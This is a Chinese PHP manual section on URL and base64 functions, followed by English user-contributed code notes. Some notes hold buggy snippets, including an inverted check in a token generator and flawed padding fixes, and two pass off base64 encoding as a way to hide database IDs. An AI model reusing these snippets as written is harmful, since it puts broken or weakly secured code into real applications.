Table of Contents

  • base64_decode — 对使用 MIME base64 编码的数据进行解码
  • base64_encode — 使用 MIME base64 对数据进行编码
  • get_headers — 取得服务器响应 HTTP 请求所发送的所有标头
  • get_meta_tags — 从一个文件中提取所有的 meta 标签 content 属性，返回一个数组
  • http_build_query — 生成 URL-encode 之后的请求字符串
  • parse_url — 解析 URL，返回其组成部分
  • rawurldecode — 对已编码的 URL 字符串进行解码
  • rawurlencode — 按照 RFC 3986 对 URL 进行编码
  • urldecode — 解码已编码的 URL 字符串
  • urlencode — 编码 URL 字符串

User Contributed Notes

martin at limitless dot co dot uk 24-Jul-2006 08:31
Each %xx represents a letter. You would need to remove %68%74%74%70%3a%2f%2f (http://) from the beginning.
dday at cnscorp dot com 24-Jun-2005 10:22
When using a multiple select on a form, I ran into a little issue of only receiving the last value form the select box.
I had a select box named organization_id with two values (92 and 93).
To get the values of both, I had to use the following:

    $temp_array = split("&", $_SERVER['QUERY_STRING']);
    foreach($temp_array as $key=>$value){
        if(substr($value, 0, 15) == "organization_id"){
            $_GET['organizations'][] = substr($value, 15, strlen($value));
        }
    }

this results in a $_GET array like this :

(
    [page] => idea_submission
    [organization_id] => 93
    [organizations] => Array
        (
            [0] => =92
            [1] => =93
        )

)
php at malaker dot com 17-Dec-2003 03:25
Following method do not show the URL in user browser (as the author claimed) if the code resides in the source page of  FRAME or IFRAME (say SRC="sourcepage.php") . In that case the URL of the SOURCE page is displayed.

$url = sprintf("%s%s%s","http://",$HTTP_HOST,$REQUEST_URI);
echo "$url";

Expected result: http://localhost/urltest/framedpage.php

Actual result: http://localhost/urltest/sourcepage.php
chemanfit at hotmail 06-Jun-2003 05:24
just a side note to the above you will need to add the ?

example

$page=$PHP_SELF."?".$_SERVER['QUERY_STRING'];
ignacio paz posse 12-Mar-2003 05:31
Note on the above: the point is that is that using $_SERVER['QUERY_STRING'] along with $PHP_SELF we will have passed whatever variables are already appended (as they might be needed for database queries)

example, given the following url: http://www.your_domain/somepage.php?variable=1;

using $PHP_SELF" we are passing
[scheme]:(http://), [host]: www.your_domain/  and [path]: somepage.php

adding $_SERVER['QUERY_STRING'], we pass that, plus [query]: variable=1
ignacio 12-Mar-2003 10:16
/*
May be this is obvious but helps me since I found it:
If I want to append a variable to the url and pass it to the same page. ( in this example I'm using action=email to include an email form on the user click) i do:
*/

// ...

<a href="<? echo $PHP_SELF,'?',$_SERVER['QUERY_STRING'],'&action=email' ?>">email to us</a>

// ...

/* somewhere in the the page (in my case at the bottom) I have: */

<? if ($action=='email') include('emailForm.htm'); ?>
jrg45 at pantheon dot yale dot edu 10-Jul-2002 02:14
Note that $_SERVER["HTTP_REFERER"] may not include GET data that was included in the referring address, depending on the browser.  So if you rely on GET variables to generate a page, it's not a good idea to use HTTP_REFERER to smoothly "bounce" someone back to the page he/she came from.
postmaster at asmatic dot ch 29-Apr-2002 09:15
If you want to get the filename requested on a global error page like a 404, just use this code...

// get the full var...
$page = $HTTP_SERVER_VARS["QUERY_STRING"];

// part[1] is the url...
// part[0] is the http code (404, etc).
if(strpos($page,";")>0) {
   $pageParts = explode(";",$page);
   $page = $pageParts[1];
}

// get only the filename...
$page = basename($page);
stephane-wantiez at tiscalinet dot be 07-Feb-2002 06:29
if you do this, it will be easier :
echo "http://{$HTTP_HOST}{$REQUEST_URI}";
verdy_p at wanadoo dot fr 26-May-2001 10:47
Note also that the URL shown in $HTTP_REFERER is not always the URL of the web page where the user clicked to invoke the PHP script.
This may instead be a document of your own web site, which contains an HTML element whose one attribute references the script. Note also that the current page fragment (#anchor) may be transmitted or not with the URL, depending on the browser.
Examples:
<FRAME src="your-page-script.php"8>
<IMAGE src="your-image-script.php">

In such case, browsers should transmit the URL of the container document, but some still persist in using the previous document in the browser history, and this could cause a different $HTTP_REFERER value be sent when the user comes back to the document referencing your script. If you wanna be sure that the actual current document or previous document in the history is sent, use client-side JavaScript to send it to your script:

<SCRIPT language="JavaScript"><!--
document.writeln('<FRAME src="your-page-script.php?js=1&amp;ref=' +
document.location + '">');
--></SCRIPT><NOSCRIPT>
<FRAME src="your-page-script.php?js=0">
</NOSCRIPT>

And then check the value of $js in your page script to generate appropriate content when the remote user agent does not support client-side scripts (such as most index/scan robots, some old or special simplified browsers, or browsers with JavaScript disabled by their users).
tumor at kkt dot bme dot hu 01-Apr-2000 10:18
To check if a URL is valid, try to fopen() it. If fopen() results an error (returns false), then PHP cannot open the URL you asked. This is usually because it is not valid...


对使用 MIME base64 编码的数据进行解码

  • ? URL 函数
  • base64_encode ?
  • PHP Manual
  • URL 函数
  • 对使用 MIME base64 编码的数据进行解码

base64_decode

(PHP 4, PHP 5, PHP 7, PHP 8)

base64_decode — 对使用 MIME base64 编码的数据进行解码

说明

base64_decode(string $string, bool $strict = false): string|false

对 base64 编码的 string 进行解码。

参数

string

编码过的数据。

strict

当设置 strict 为 true 时，一旦输入的数据超出了 base64 字母表，将返回 false。 否则会静默丢弃无效的字符。

返回值

返回解码后数据， 或者在失败时返回 false。返回的数据可能是二进制的。

示例

Example #1 base64_decode() 示例

<?php
$str = 'VGhpcyBpcyBhbiBlbmNvZGVkIHN0cmluZw==';
echo base64_decode($str);
?>

以上示例会输出：

This is an encoded string

参见

  • base64_encode() - 使用 MIME base64 对数据进行编码
  • » RFC 2045 的 6.8 章节。

User Contributed Notes

user at sfdsfd dot com 07-Jul-2019 08:03
function is_base64($str){
        if($str === base64_encode(base64_decode($str))){
            return true;
        }
        return false;
    }

---------------------------------------------------------------------------
---------------------------------------------------------------------------
---------------------------------------------------------------------------

    $str = 'VGhpcyBpcyBiYXNlNjQgZW5jb2RlIHN0cmluZw==';

    if(is_base64($str)){
        print base64_decode($str);
    }
markandrewslade at gmail dot com 08-Feb-2016 04:34
The docs don't make this explicitly clear, but if you omit `$strict` or set it to `false` then invalid characters in the encoded input will be silently ignored.

<?php

echo base64_decode('VGhpcyBpcyBhbiBlbmNvZGVkIHN0cmluZw=='); // "This is an encoded string"
echo base64_decode('$VGhpcyBpcyBhbiBlbmNvZGVkIHN0cmluZw=='); // "This is an encoded string"
echo base64_decode('$VGhpcyBpcyBhbiBlbmNvZGVkIHN0cmluZw==', true); // false

?>
walf 02-Nov-2015 06:58
Base64 for URL parameters/filenames, that adhere to RFC 4648.
Defaults to dropping the padding on encode since it's not required for decoding, and keeps the URL free of % encodings.

<?php
function base64url_encode($data, $pad = null) {
    $data = str_replace(array('+', '/'), array('-', '_'), base64_encode($data));
    if (!$pad) {
        $data = rtrim($data, '=');
    }
    return $data;
}
function base64url_decode($data) {
    return base64_decode(str_replace(array('-', '_'), array('+', '/'), $data));
}
nicolem2005 at gmail dot com 23-Aug-2011 05:17
base64_decode seems to fail when decoding big files/strings. I had an issue decoding a 7MB image file. Here is a solution that worked for me:

$decodedstring=base64_decode(chunk_split($encodedstring));
winkelnkemper at googlemail dot com 27-Jan-2011 04:25
If you want to save data that is derived from a Javascript canvas.toDataURL() function, you have to convert blanks into plusses. If you do not do that, the decoded data is corrupted:

<?php
  $encodedData = str_replace(' ','+',$encodedData);
  $decocedData = base64_decode($encodedData);
?>
martinstaemmler at gmx dot net 17-Aug-2009 09:05
I had some trouble trying to let base64_decode decode base64-strings longer than ~5k chars.

The base64-decoding function is a homomorphism between modulo 4 and modulo 3-length segmented strings. That motivates a divide and conquer approach: Split the encoded string into substrings counting modulo 4 chars, then decode each substring and concatenate all of them.

Then instead of

<?php $decoded = base64_decode($encoded); ?>

for big $encoded strings, it's saver to use

<?php
$decoded = "";
for ($i=0; $i < ceil(strlen($encoded)/256); $i++)
   $decoded = $decoded . base64_decode(substr($encoded,$i*256,256));
?>

where 256 can be replaced by a sufficiently small modulo 4 natural.
dimagolov at yahoo dot com 10-Jul-2009 11:44
Here is function to decode Base 62 (see http://en.wikipedia.org/wiki/Base_62) string to number. It is used by MTA in message id, e.g. by Exim
<?php
function base62_decode($str) {
    $ret= 0;
    for ($i= 0, $l= strlen($str); $i < $l; $i++) {
        $val= ord($str[$i]);
        if (ctype_digit($str[$i]))
            $val-= ord('0');
        else if (ctype_upper($str[$i]))
            $val-= ord('A') - 10;
        else if (ctype_lower($str[$i]))
            $val-= ord('a') - 36;
        else
            $val= 0;
        $ret= $ret * 62 + $val;
    }
    return $ret;
}
?>
mcalwell 09-Apr-2009 09:20
I had a problem testing whether an imap message body was base64 encoded on a pre 5.2.* server.  I had been using this function on a post 5.2 server.

I found that the function imap_base64() returns FALSE on failing to decode a string, and that I could use that to check instead.

<?php
if(imap_base64($body)) $body = imap_base64($body);
?>
alvaro at demogracia dot com 05-Dec-2008 01:11
You can do partial decoding (e.g. from buffered input streams) if you choose a chunk length that is multiple of 4:

<?php

$encoded = base64_encode('The quick brown fox jumps over the lazy dog');
for($i=0, $len=strlen($encoded); $i<$len; $i+=4){
    echo base64_decode( substr($encoded, $i, 4) );
}

?>

4 encoded chars represent 3 original chars. The "=" character is used as padding.
twm at twmacinta dot com 09-Jul-2008 08:38
To follow up on Starson's post, PHP was changed to no longer treat a space as if it were a plus sign in CVS revision 1.43.2.1, which corresponds to PHP 5.1.0.  You can see what happened with a diff to branch point 1.43 at:

http://cvs.php.net/viewvc.cgi/php-src/ext/standard/base64.c

The CVS log indicates that this change was made to fix bug #34214 (base64_decode() does not properly ignore whitespace).

It would seem from the comment preceding the code which was removed that the treatment of the space as if it were the plus sign was actually intentional at one time:

    When Base64 gets POSTed, all pluses are interpreted as spaces.
    This line changes them back.  It's not exactly the Base64 spec,
    but it is completely compatible with it (the spec says that spaces
    are invalid).  This will also save many people considerable
    headache.

    if (ch == ' ') ch = '+';

However, RFC 3548 states that characters not in the Base64 alphabet should either be ignored or cause the implementation to reject the encoding and RFC 2045 says they should be ignored.  So the original code was unfortunately not fully compatible with the spec or other implementations.  It may have also masked problems with code not properly escaping POST variables.
debug 27-Feb-2008 12:39
@morgangalpin att gmail dotty com

A better implementation would be the following regular expression:

^[a-zA-Z0-9/+]*={0,2}$

Which will also detect the usage of = or == at the end of the string (and only end).

If this regex isn't following proper RFC guidelines, please comment on it.

A function geared specifically toward this:

<?php

function is_base64_encoded()
    {
        if (preg_match('%^[a-zA-Z0-9/+]*={0,2}$%', $data)) {
            return TRUE;
        } else {
            return FALSE;
        }
    };

is_base64_encoded("iash21iawhdj98UH3"); // true
is_base64_encoded("#iu3498r"); // false
is_base64_encoded("asiudfh9w=8uihf"); // false
is_base64_encoded("a398UIhnj43f/1!+sadfh3w84hduihhjw=="); // true

?>
zmorris at zsculpt dot com 10-Nov-2007 02:22
Here is a drop-in replacement for base64_decode(), based on a faster version of morgangalpin's code:

<?php
// workaround for bug in php 4.3.11 through 4.4.7, 5.1.2 through 5.2.4 and perhaps others (http://bugs.php.net/bug.php?id=37244)
function    base64_decode_fix( $data, $strict = false )
{
    if( $strict )
        if( preg_match( '![^a-zA-Z0-9/+=]!', $data ) )
            return( false );

    return( base64_decode( $data ) );
}
?>
Tom 06-Dec-2006 10:23
This function supports "base64url" as described in Section 5 of RFC 4648, "Base 64 Encoding with URL and Filename Safe Alphabet"

    <?php
    function base64url_decode($base64url)
    {
        $base64 = strtr($base64url, '-_', '+/');
        $plainText = base64_decode($base64);
        return ($plainText);
    }
    ?>
Starson 19-Sep-2006 06:23
To expand on Jes' post:

The change took place between 5.0.5 and 5.1.0.  Exactly where I don't know or care.

In short php <= 5.0.5's base64_decode( $string ) will assume that a space is meant to be a + sign where php >= 5.1.0's base64_decode( $string ) will no longer make that assumption.  I did not see this noted in the change log.

Please note that, as of this writing, mb_convert_encoding( $string, "UTF-8", "BASE64" ) still behaves as base64_decode( $string ) did in php <= 5.0.5 regardless of the version of php you are running.
tobias at silverxnet dot de 23-Dec-2003 12:16
I was wondering how to decode attached images within mails. Basically they are mostly JPEG files, so it was obviously to write a function that decodes JPEG images.
I guess the plainest way to do so was the following:

<?php
function base64_to_jpeg( $inputfile, $outputfile ) {
  /* read data (binary) */
  $ifp = fopen( $inputfile, "rb" );
  $imageData = fread( $ifp, filesize( $inputfile ) );
  fclose( $ifp );
  /* encode & write data (binary) */
  $ifp = fopen( $outputfile, "wb" );
  fwrite( $ifp, base64_decode( $imageData ) );
  fclose( $ifp );
  /* return output filename */
  return( $outputfile );
}
?>

This function decodes the given inputfile (a filename!) and saves it to the given outputfile (a filename as well) and then returns the output filename for further usage (e.g. redirect, imagejpeg() and so on).
I thought that might be helpful.
Klaus Fehrenbacher 17-Apr-2003 04:05
this script can correct the bug

<?php
$enc = chunk_split(preg_replace('!\015\012|\015|\012!','',$enc));
$enc = base64_decode($enc);
?>
nsayer at kfu dot com 21-Mar-2002 01:15
I used to do uudecode as a C module, but I've discovered a really fast way to do it in PHP. Here it is:

<?php
function uudecode($encode) {
  $b64chars="ABCDEFGHIJKLMNOPQRSTUVWXYZ\
abcdefghijklmnopqrstuvwxyz0123456789+/";

  $encode = preg_replace("/^./m","",$encode);
  $encode = preg_replace("/\n/m","",$encode);
  for($i=0; $i<strlen($encode); $i++) {
    if ($encode[$i] == '`')
      $encode[$i] = ' ';
    $encode[$i] = $b64chars[ord($encode[$i])-32];
  }

  while(strlen($encode) % 4)
    $encode .= "=";

  return base64_decode($encode);
}
?>

This is the PHP equivalent to perl's unpack("u",___). That is, you need to strip the 'begin' and 'end' lines from the typical uuencoded file.


使用 MIME base64 对数据进行编码

  • ? base64_decode
  • get_headers ?
  • PHP Manual
  • URL 函数
  • 使用 MIME base64 对数据进行编码

base64_encode

(PHP 4, PHP 5, PHP 7, PHP 8)

base64_encode — 使用 MIME base64 对数据进行编码

说明

base64_encode(string $string): string

使用 base64 对 string 进行编码。

设计此种编码是为了使二进制数据可以通过非纯 8-bit 的传输层传输，例如电子邮件的主体。

Base64-encoded 数据要比原始数据多占用 33% 左右的空间。

参数

string

要编码的数据。

返回值

编码后的字符串数据。

示例

Example #1 base64_encode() 示例

<?php
$str = 'This is an encoded string';
echo base64_encode($str);
?>

以上示例会输出：

VGhpcyBpcyBhbiBlbmNvZGVkIHN0cmluZw==

参见

  • base64_decode() - 对使用 MIME base64 编码的数据进行解码
  • chunk_split() - 将字符串分割成小块
  • convert_uuencode() - 使用 uuencode 编码一个字符串
  • » RFC 2045 6.8 章节

User Contributed Notes

Daniel Klein 27-Aug-2022 10:11
Improvement on "gutzmer at usa dot net", "biziclop at vipmail dot hu", and "ivanm at duck dot com".

<?php
function base64url_encode($data) {
  return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
}

function base64url_decode($data) {
  return base64_decode(strtr($data, '-_', '+/'));
}
?>

None of the padding for strings longer than 4 characters worked. Padding the decode function with = is unnecessary, and has been since at least PHP 5.4 (as far back as I checked before posting) so I removed it.
ivanm at duck dot com 22-Apr-2022 12:22
Slight improvement on the padding problem in gutzmer at usa dot net (https://www.php.net/manual/en/function.base64-encode.php#103849) and biziclop at vipmail dot hu (https://www.php.net/manual/en/function.base64-encode.php#121767):

<?php
function base64url_encode($data) {
  return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
}

function base64url_decode($data) {
  return base64_decode(str_pad(strtr($data, '-_', '+/'), 4 - ((strlen($data) % 4) ?: 4), '=', STR_PAD_RIGHT));
}
?>
d_maksimov at inbox dot ru 08-Sep-2021 07:51
You can escape '+', '/' and '=' symbols using two simple functions:

<?php
function base_encode($id) {
    return str_replace(["A", "+", "/", "="], ["AA", "AB", "AC", "AD"], base64_encode($id));
}

function base_decode($id) {
    $id = preg_replace_callback('/(AA)|(AB)|(AC)|(AD)/', function ($m) {
        foreach(['A', '+', '/', '='] as $i => $value)
            if($m[$i + 1])
                return $value;
    }, $id);
    return base64_decode($id);
}
?>

this functions escapes symbol 'A' as 'AA', '+' as 'AB', '/' as 'AC', '=' as 'AD'.
divinity76 at gmail dot com 02-Aug-2021 07:58
if you for some reason need a base10 / pure-number encode instead, encoding to some combination of 0123456789

<?php
// base10-encode using the dictionary 0123456789
function base10_encode(string $str): string
{
    $ret = "";
    for ($i = 0, $imax = strlen($str); $i < $imax; ++ $i) {
        $ret .= str_pad((string) ord($str[$i]), 3, "0", STR_PAD_LEFT);
    }
    return $ret;
}
// base10-decode using the dictionary 0123456789
function base10_decode(string $str): string
{
    $ret = "";
    for ($i = 0, $imax = strlen($str); $i < $imax; $i += 3) {
        // notably here we are using (int) to trim away the zeroes..
        $ret .= chr((int) substr($str, $i, 3));
    }
    return $ret;
}
?>

it is unicode-safe and binary-safe, testing:

<?php
// simple ascii test:
$d=[];
$d["raw"]="test";
$d["b10"]=base10_encode($d["raw"]); // 116101115116
$d["decoded"]=base10_decode($d["b10"]); // test
$d["corrupted"]=$d["raw"]!==$d["decoded"]; // false
var_dump($d);
// complex unicode test:
$d=[];
$d["raw"]="?ma?k?s ku?n ? ? ?? ? ? ? ? ? ? ? ?, ⊥ < a ≠ b ≡ c ≤ d ? ? ? (A ? B), Σ? γνωρ?ζω ?π? τ?ν κ?ψη Ο?χ? τα?τ? παρ?στατα? ?????? ??? ????? ??? ????? ?? ???? ??? ?? ???? ?? ??? ????? ??????????? ??? ?? ???? ";
// lets add some chess for good measure
$d["raw"].="???????????????";
$d["b10"]=base10_encode($d["raw"]); //
$d["decoded"]=base10_decode($d["b10"]);
$d["corrupted"]=$d["raw"]!==$d["decoded"]; // false, base10 is unicode safe :D
var_dump($d);
// binary safety test:
$everything="";
for($i=0;$i<=0xFF;++$i){
    $everything.=chr($i);
}
$d=[];
$d["raw"]=$everything;
$d["b10"]=base10_encode($d["raw"]);
$d["decoded"]=base10_decode($d["b10"]);
$d["corrupted"]=$d["raw"]!==$d["decoded"]; // false :D base10 is binary safe.
var_dump($d);

?>
raat1979 at gmail dot com 29-Sep-2018 06:27
shortest base64url_decode (correct version)

<?php
    function base64_urldecode($data){
        return base64_decode(strtr($data,'-_','+/').str_repeat("=", -strlen($data) & 3));
}
?>
raat1979 at gmail dot com 29-Sep-2018 06:18
shortest base64url_decode

<?php
function base64url_decode($data){
        return base64_decode($data.str_repeat("=", -strlen($data) & 3));
 }
?>
Rasmus Schultz 03-Sep-2018 12:28
In PHP 7, the padding issue with base64_decode() is no more - the following is totally fine:

function base64_encode_url($string) {
    return str_replace(['+','/','='], ['-','_',''], base64_encode($string));
}

function base64_decode_url($string) {
    return base64_decode(str_replace(['-','_'], ['+','/'], $string));
}

Checked here with random_bytes() and random lengths:

https://3v4l.org/aEs4o
ozziez_box at hotmail dot com 07-Feb-2018 09:31
Regarding base64url, you can just use:

<?php
$encodedUrl = urlencode(base64_encode($string));
$decodedUrl = base64_decode(url_decode($string));
?>
biziclop at vipmail dot hu 17-Oct-2017 04:42
gutzmer at usa dot net's ( http://php.net/manual/en/function.base64-encode.php#103849 ) base64url_decode() function doesn't pad longer strings with '='s. Here is a corrected version:

<?php
function base64url_encode( $data ){
  return rtrim( strtr( base64_encode( $data ), '+/', '-_'), '=');
}

function base64url_decode( $data ){
  return base64_decode( strtr( $data, '-_', '+/') . str_repeat('=', 3 - ( 3 + strlen( $data )) % 4 ));
}

// proof
for( $i = 0, $s = ''; $i < 24; ++$i, $s .= substr("$i", -1 )){
  $base64_encoded    = base64_encode(    $s );
  $base64url_encoded = base64url_encode( $s );
  $base64url_decoded = base64url_decode( $base64url_encoded );
  $base64_restored   = strtr( $base64url_encoded, '-_', '+/')
                     . str_repeat('=',
                         3 - ( 3 + strlen( $base64url_encoded )) % 4
                       );
  echo "$s<br>$base64url_decoded<br>$base64_encoded<br>$base64_restored<br>$base64url_encoded<br><br>";
}
?>
alf at trance dot net 13-May-2016 02:31
@gutzmer at usa dot net

Nice idea! However...

The function base64url_decode doesn't pad strings longer than 4 chars.
str_pad will only pad the string if the second argument is larger than the length of the original string. So the correct function should be:

<?php
function base64url_decode($data) {
  $len = strlen($data);
  return base64_decode(str_pad(strtr($data, '-_', '+/'), $len + $len % 4, '=', STR_PAD_RIGHT));
}

Note that base64_decode works fine without the padding, that is why your function works.
Anonymous 25-Sep-2015 05:26
Wikipedia has a list of 8 or so variations on the last 2 characters in Base64  (https://en.wikipedia.org/wiki/Base64). The following functions can handle all of them:

<?php
function base64_encode2($data, $a = "+/=") {
    $l = strlen($a);
    if ($l === 3) {
        return strtr(base64_encode($data), "+/=", $a);
    } else if ($l === 2) {
        return rtrim(strtr(base64_encode($data), "+/", $a), '=');
    } else {
        throw new InvalidArgumentException("Argument #2 must be 2 or 3 bytes.");
    }
}

function base64_decode2($data, $strict = false, $a = "+/=") {
    $l = strlen($a);
    if ($l === 3) {
        return base64_decode(strtr($data, $a, "+/="), $strict);
    } else if ($l === 2) {
        return base64_decode(strtr($data, $a, "+/"), $strict);
    } else {
        throw new InvalidArgumentException("Argument #2 must be 2 or 3 bytes.");
    }
}
?>

Example usage:

<?php
$decoded = "ABC123";

// base64 XML identifier:
$encoded = base64_encode2($decoded, "_:");
$decoded = base64_decode2($encoded, false, "_:");

// base64 URL (RFC 6920):
// base64 XML name token:
$encoded = base64_encode($decoded, "-_")
$decoded = base64_decode($encoded, false, "-_");

// modified base64 XML name token:
$encoded = base64_encode2($decoded, ".-");
$decoded = base64_decode2($encoded, false, ".-");

// modified base64 for Regular Expressions:
$encoded = base64_encode2($decoded, "!-");
$decoded = base64_decode2($encoded, false, "!-");

// base64 used in YUI library:
$encoded = base64_encode2($decoded, "._-");
$decoded = base64_decode2($encoded, false, "._-");
?>
sadhooklay [at] gmail [dot] com 16-Dec-2014 12:26
<?php
    /**
     * Generates a random URL-safe base64 string.
     *
     * See RFC 3548 for the definition of URL-safe base64.
     * If $n is not specified, Secure::RANDOM_LENGTH is assumed. It may be larger in future.
     *
     * @param int $n Specifies the length of the random string
     * @param bool $padding
     * @return string The result may contain A-Z, a-z, 0-9, "-" and "_". "=" is also used if $padding is true.
     */
    public static function newToken($n = null, $padding = false)
    {
        // Generate a new unique token
        if (!function_exists('openssl_random_pseudo_bytes')) {
            // Generate a random pseudo bytes token if openssl_random_pseudo_bytes is available
            // This is more secure than uniqid, because uniqid relies on microtime, which is predictable
            $s = pack('a*', openssl_random_pseudo_bytes($n ?: static::RANDOM_LENGTH));
            $s = str_replace(["\n", "\r", "\n\r"], '', $s);
        } else {
            // Otherwise, fall back to a hashed uniqid
            $s = substr(hash('sha256', uniqid(null, true)), 0, $n ?: static::RANDOM_LENGTH);
        }

        return $padding ? strtr(base64_encode($s), '+/', '-_') : rtrim(strtr(base64_encode($s), '+/', '-_'), '=');
    }
?>
Naser Mirzaei 24-Jun-2014 09:30
<?php
$image = 'example.png';

// Read image path, convert to base64 encoding
$imageData = base64_encode(file_get_contents($image));

// Format the image SRC:  data:{mime};base64,{data};
$src = 'data: '.mime_content_type($image).';base64,'.$imageData;

// Echo out a sample image
echo "<img src=\"$src\" alt=\"\" />";
?>
Hayley Watson 15-Apr-2013 11:35
Base64 encoding of large files.

Base64 encoding converts triples of eight-bit symbols into quadruples of six-bit symbols. Reading the input file in chunks that are a multiple of three bytes in length results in a chunk that can be encoded independently of the rest of the input file. MIME additionally enforces a line length of 76 characters plus the CRLF. 76 characters is enough for 19 quadruples of six-bit symbols thus representing 19 triples of eight-bit symbols. Reading 57 eight-bit symbols provides exactly enough data for a complete MIME-formatted line. Finally, PHP's default buffer size is 8192 bytes - enough for 143 MIME lines' worth of input.

So if you read from the input file in chunks of 8151 (=57*143) bytes you will get (up to) 8151 eight-bit symbols, which encode as exactly 10868 six-bit symbols, which then wrap to exactly 143 MIME-formatted lines. There is no need to retain left-over symbols (either six- or eight-bit) from one chunk to the next. Just read a chunk, encode it, write it out, and go on to the next chunk. Obviously the last chunk will probably be shorter, but encoding it is still independent of the rest.

<?php

while(!feof($input_file))
{
    $plain = fread($input_file, 57 * 143);
    $encoded = base64_encode($plain);
    $encoded = chunk_split($encoded, 76, "\r\n");
    fwrite($output_file, $encoded);
}

?>

Conversely, each 76-character MIME-formatted line (not counting the trailing CRLF) contains exactly enough data for 57 bytes of output without needing to retain leftover bits that need prepending to the next line. What that means is that each line can be decoded independently of the others, and the decoded chunks can then be concatenated together or written out sequentially. However, this does make the assumption that the encoded data really is MIME-formatted; without that assurance it is necessary to accept that the base64 data won't be so conveniently arranged.
Gerard 23-Jan-2013 01:31
To make base64_encode encode a URL safe string compatible with .net HttpServerUtility.UrlTokenEncode function use this:

<?php
url_safe_base64_encode($string)
  {
    #First base64 encode
    $data = base64_encode($string);

    #Base64 strings can end in several = chars. These need to be translated into a number
    $no_of_eq = substr_count($data, "=");
    $data = str_replace("=", "", $data);
    $data = $data.$no_of_eq;

    #Then replace all non-url safe characters
    $data = str_replace(array('+','/'),array('-','_'),$data);
    return $data;
  }
?>
luke at lukeoliff.com 02-Aug-2011 09:27
A function I'm using to return local images as base64 encrypted code, i.e. embedding the image source into the html request.

This will greatly reduce your page load time as the browser will only need to send one server request for the entire page, rather than multiple requests for the HTML and the images. Requests need to be uploaded and 99% of the world are limited on their upload speed to the server.

<?php
function base64_encode_image ($filename=string,$filetype=string) {
    if ($filename) {
        $imgbinary = fread(fopen($filename, "r"), filesize($filename));
        return 'data:image/' . $filetype . ';base64,' . base64_encode($imgbinary);
    }
}
?>

used as so

<style type="text/css">
.logo {
    background: url("<?php echo base64_encode_image ('img/logo.png','png'); ?>") no-repeat right 5px;
}
</style>

or

<img src="<?php echo base64_encode_image ('img/logo.png','png'); ?>"/>
markrose at markrose dot ca 07-Jul-2011 03:15
An even faster way to line-breaks every 64th character is using the chunk_split function:

<?php
$string = chunk_split(base64_encode($string), 64, "\n");
?>
gutzmer at usa dot net 06-May-2011 09:12
For anyone interested in the 'base64url' variant encoding, you can use this pair of functions:

<?php
function base64url_encode($data) {
  return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
}

function base64url_decode($data) {
  return base64_decode(str_pad(strtr($data, '-_', '+/'), strlen($data) % 4, '=', STR_PAD_RIGHT));
}
?>
andronick(dot)mail(dog)gmail(dot)com 09-Sep-2010 06:28
output images into html:

<?php

$imgfile = "test.gif";

$handle = fopen($filename, "r");

$imgbinary = fread(fopen($imgfile, "r"), filesize($imgfile));

echo '<img src="data:image/gif;base64,' . base64_encode($imgbinary) . '" />';

?>

gif - data:image/gif;base64,...
jpg - data:image/jpeg;base64,...
png - data:image/png;base64,...
etc.
jonb at wobblymusic dot com 06-Sep-2009 12:21
Note that some applications, such as OpenSSL's enc command, require that there be a line break every 64 characters in order for their base64 decode function to work. The following function will take care of this problem:

<?php
function ($encodeMe) {
    $data = base64_encode($encodeMe);
    $datalb = "";
    while (strlen($data) > 64) {
        $datalb .= substr($data, 0, 64) . "\n";
        $data = substr($data,64);
    }
    $datalb .= $data;
    return $datalb;
}
?>
MitMacher 07-Aug-2009 02:57
Unfortunately my "function" for encoding base64 on-the-fly from 2007 [which has been removed from the manual in favor of this post] had 2 errors!
The first led to an endless loop because of a missing "$feof"-check, the second caused the rare mentioned errors when encoding failed for some reason in larger files, especially when
setting fgets($fh, 2) for example. But lower values then 1024 are bad overall because they slow down the whole process, so 4096 will be fine for all purposes, I guess.
The error was caused by the use of "empty()".

Here comes the corrected version which I have tested for all kind of files and length (up to 4,5 Gb!) without any error:

<?php
$fh = fopen('Input-File', 'rb');
//$fh2 = fopen('Output-File', 'wb');

$cache = '';
$eof = false;

while (1) {

    if (!$eof) {
        if (!feof($fh)) {
            $row = fgets($fh, 4096);
        } else {
            $row = '';
            $eof = true;
        }
    }

    if ($cache !== '')
        $row = $cache.$row;
    elseif ($eof)
        break;

    $b64 = base64_encode($row);
    $put = '';

    if (strlen($b64) < 76) {
        if ($eof) {
            $put = $b64."\n";
            $cache = '';
        } else {
            $cache = $row;
        }

    } elseif (strlen($b64) > 76) {
        do {
            $put .= substr($b64, 0, 76)."\n";
            $b64 = substr($b64, 76);
        } while (strlen($b64) > 76);

        $cache = base64_decode($b64);

    } else {
        if (!$eof && $b64{75} == '=') {
            $cache = $row;
        } else {
            $put = $b64."\n";
            $cache = '';
        }
    }

    if ($put !== '') {
        echo $put;
        //fputs($fh2, $put);
        //fputs($fh2, base64_decode($put));        // for comparing
    }
}

//fclose($fh2);
fclose($fh);
?>
gglockner AT NOSPAMdwaffler DOT com 19-Sep-2008 08:21
I omitted the strtr functions in my examples.  Here are corrected functions:

<?php
function encode($x) {
    return strtr(base64_encode(substr($_SESSION['Cksum'],rand(0,28),4) . $x), '+/=', '-_~');
}

function decode($x) {
    $y = base64_decode(strtr($x, '-_~', '+/='));
    if (strpos($_SESSION['Cksum'],substr($y,0,4)) === false) return false;
    return substr($y,4-strlen($y));
}
?>
gglockner AT NOSPAMdwaffler DOT com 19-Sep-2008 06:35
I have another solution that is simple and elegant.  Create a pseudorandom string of characters.  Then, each time you want to obfuscate your key, append a random substring from the pseudorandom string and use base64 encoding.  When you want to de-obfuscate, convert back from base64.  If the prefix is not in your pseudorandom source, then the value is forged.  Otherwise, strip the prefix and recover your original key.

The advantages are that the string will look different even for the same key, and encoding and decoding should be extremely fast.

Here's an example:

<?php

// Call makeCksum once upon landing on the homepage
function makeCksum() {
       $str = "";
       for ($i=0;$i<32;++$i)
               $str .= chr(rand(32,126));
       $_SESSION['Cksum'] = $str;
}

function encode($x) {
    return base64_encode(substr($_SESSION['Cksum'],rand(0,28),4) . $x);
}

function decode($x) {
    $y = base64_decode($x);
    if (strpos($_SESSION['Cksum'],substr($y,0,4)) === false) return false;
    return substr($y,4-strlen($y));
}
?>
Andi 31-Mar-2008 01:54
I needed a simple way to obfuscate auto_increment primary keys in databases when they are visible to users in URIs or API calls. The users should not be able to increment the id in the URL and see the next data record in the database table.

My solution (uses modified base64 functions by Tom):

function base64url_encode($plainText) {

    $base64 = base64_encode($plainText);
    $base64url = strtr($base64, '+/=', '-_,');
    return $base64url;
}

function base64url_decode($plainText) {

    $base64url = strtr($plainText, '-_,', '+/=');
